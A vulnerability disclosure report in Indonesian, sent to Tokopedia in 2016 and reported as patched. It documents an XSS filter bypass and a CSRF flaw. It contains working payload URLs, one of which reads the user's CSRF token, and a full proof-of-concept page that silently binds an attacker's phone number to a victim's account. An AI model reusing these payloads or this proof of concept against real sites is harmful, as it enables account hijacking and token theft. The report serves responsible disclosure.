You are on page 1of 5

Tokopedia Vulnerability Report

Dimaz Arno Prasetio (me@ethic.ninja)
tl;dr : Laporan pertama kali dikirim pada tanggal 18 September 2016, bug yang ditemukan XSS
dan CSRF. Diterima dengan baik dan telah dilakukan patching oleh tim security tokopedia.

XSS
Bug ini seperti bug yang saya laporkan sebelumnya yaitu CSS Injection, namun ternyata bisa dieskalasi kan menjadi XSS.
Pertama kali yang saya lakukan adalah menganalisa inputan seperti dibawah ini :
https://www.tokopedia.com/iklan
?source=footer" style="background:red" onmouseover="alert(document.domain)"><x="
Namun terkena filter menjadi :

<a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer"
style=”background:red;" x ="&medium=desktop">Tokopedia</a>

Jika dilakukan riset lebih lanjut maka urutan rule filternya seperti ini :
- Hapus semua event html (onmouseover,onkeyup,onerror) dll  namun ternyata semua bentuk
pattern dengan prefix on dihilangkan seperti ”oncom, onabcd”
Karakter lebih besar (>) dan lebih kecil (<) diganti dengan spasi “ “
Untuk rule terakhir menjadi celah karena rule tersebut “membantu” meng-escape untuk rule
pertama.
Sehingga dihasilkan payload seperti berikut :
https://www.tokopedia.com/iklan?source=footer" style="background:red;
"<onmouseover="alert(document.domain)"<x="
Pada balikan/response diperoleh :
<a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer"
style="background:red; " onmouseover ="alert(document.domain)" x
="&medium=desktop">Tokopedia</a>

Impact :
-

-

Stealing Cookie
Get Token
o https://www.tokopedia.com/iklan?source=footer" style="zindex:1000;position:fixed;top:0;left:0;width:1000px;height:
800px;background:red;opacity:0.5;"<onmouseover="jQuery.ajax
({url:'https://www.tokopedia.com/config,success:function(da
ta){alert(jQuery(data).find('[name=token]').val());}});"<x=
"
Dari token dapat dilakukan manipulasi lainnya seperti :
o Memaksa user untuk memfavoritkan suatu toko
o Memaksa user untuk memasukkan suatu barang ke cart
o Memaksa user untuk memasukan ke wishlist
o Mematikan fitur OTP
o dll

Suggestion :
- Melakukan whitelist nilai inputan jika memungkinkan
- Sanitasi inputan hanya menerima string a-zA-Z
- Hapus/convert tanda petik

1. Mengisi nomor handphone user lain dengan metode CSRF
Untuk kasus ini berlaku untuk user yang sebelumnya belum melakukan verifikasi nomor handphone
dan user yang mengganti nomor handphone tetapi belum memverifikasi kembali. Payload
dijalankan secara berurutan, payload pertama untuk meregistrasi sekaligus mengirimkan OTP ke
nomor hp attacker, payload kedua untuk melakukan verifikasi dari OTP yang didapat.

Payload 1 :
[GET]
/ajax/msisdn.pl?action=event_sent_verification_code&phone=[attacker
phone]&update_flag=&email_code=&v=[timestamp]
Payload 2 :
[POST]
/msisdn-verification.pl?action=verifikasi&type=home
phone=[attacker phone]&code=[PIN OTP yang diperoleh]&submit=

How to reproduce
Ket : No HP attacker (087817000088), victim (087771203366)
1. User daftar normal dengan nomor handphone miliknya

2. User mengunjungi suatu situs yang telah dipasang payload csrf, misal dengan bantuan iframe.
Contoh : https://www.ethic.ninja/stuff/toped_csrf_register_phone.php

3. Kemudian script berlanjut dengan memverifikasi OTP yang dikirim. Nomor HP attacker Sukses
terverifikasi.

Suggestion : Memberikan token pada setiap transaksi sensitif.

File toped_csrf_register_phone.php :
<!DOCTYPE html>
<html>
<head>
<title>Nice Report</title>
<script src="https://code.jquery.com/jquery-2.2.4.min.js"
integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="
crossorigin="anonymous"></script>
<script>
$(document).ready(function(){
jQuery.ajax({
url:'pin',
type:'get',
dataType:'text',
success:function(data)
{
var pin = data;
$("#pin").val(pin);
setTimeout(function(){
$('form#submit-form').submit();
},25000);
}
});
});
</script>
<h1>Just Another Page</h1>
</head>
<body>
<form name="submit-form" id="submit-form" method="post"
action="https://www.tokopedia.com/msisdnverification.pl?action=verifikasi&type=home">
<input type="hidden" name="phone" value="087817000088">
<input type="hidden" name="code" id="pin" value="">
</form>
<iframe
src="https://www.tokopedia.com/ajax/msisdn.pl?action=event_sent_verifi
cation_code&phone=087817000088&update_flag=&email_code=&v=<?php echo
time();?>" style="display:none;"></iframe>
</body>
</html>